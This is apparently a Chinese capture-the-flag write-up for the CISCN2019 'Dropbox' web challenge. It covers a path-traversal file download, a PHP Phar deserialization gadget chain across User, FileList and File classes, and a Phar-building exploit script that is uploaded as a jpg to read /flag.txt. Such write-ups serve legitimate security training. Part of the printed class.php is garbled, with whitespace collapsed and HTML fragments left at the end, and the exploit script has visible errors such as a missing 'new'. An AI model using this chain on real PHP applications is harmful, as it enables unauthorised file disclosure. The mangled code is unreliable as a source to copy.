[BUU/反序列化/Phar] [CISCN2019 华北赛区 Day1 Web1]Dropbox

注册登录,

上传图片,可以下载文件,对文件下载进行抓包,

此处可下载任意文件,
[BUU/反序列化/Phar] [CISCN2019 华北赛区 Day1 Web1]Dropbox_第1张图片

filename=../../index.php

找到class.php


    
class User {
     
    public $db;

	// 触发FileList的__call()
    public function __destruct() {
     
        $this->db->close();
    }
}

class FileList {
     
    private $files;
    private $results;
    private $funcs;

    public function __call($func, $args) {
     
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
     
            // 调用File::close(),读文件,将结果保存到results
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
     
        $table = '
';$table.='';foreach($this->funcsas$func){ $table.='';}$table.='';$table.='';foreach($this->resultsas$filename=>$result){ $table.='';foreach($resultas$func=>$value){ // 打印结果$table.='';}$table.='';$table.='';}echo$table;}}classFile{ public$filename;// 对外部$filename赋值,供外层File::delete()使用publicfunctionopen($filename){ $this->filename=$filename;if(file_exists($filename)&&!is_dir($filename)){ returntrue;}else{ returnfalse;}}publicfunctiondetele(){ // 可以接收并解析Phar协议流,unlink($this->filename);}}?>

以及delete.php


session_start();
include "class.php";

chdir($_SESSION['sandbox']);
// 创建一个File对象
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
     
    // 删除触发函数
    $file->detele();
}
?>

链子

利用的对象中,有两个File,一个供Phar解析,一个读文件。

关键为解决三个问题,PHAR的解析-close函数的调用-文本的输出。

删除抓包 -> File::delete() -> 解析Phar:// -> FileList::__destruct() [回显results] <- File::close() [$filename=/flag.txt] <- FileList::__call() [File::close()->results] <- User::__destruct() [$this->db=new File()]

生成Phar



class FileList {
     
    private $files;
    public function __construct() {
     
        $this->files = array(new File());
    }
}
    
class User {
     
    public $db;

    public function __construct() {
     
        $this->db = new FileList();
    }
}
    
class File {
     
    public $filename="/flag.txt";
}

@unlink('test.phar');
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('');  //写入stub

$o = User();

$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

上传伪装为jpg格式的phar文件到服务器。

修改删除抓包

观察路由,当前目录即为upload目录。
[BUU/反序列化/Phar] [CISCN2019 华北赛区 Day1 Web1]Dropbox_第2张图片
得到flag

你可能感兴趣的:(凌晨四点起床刷题,Web安全,Phar,反序列化)

' . htmlentities($func) . ' Opt
' . htmlentities($value) . ' . htmlentities($filename) . '">下载 / 删除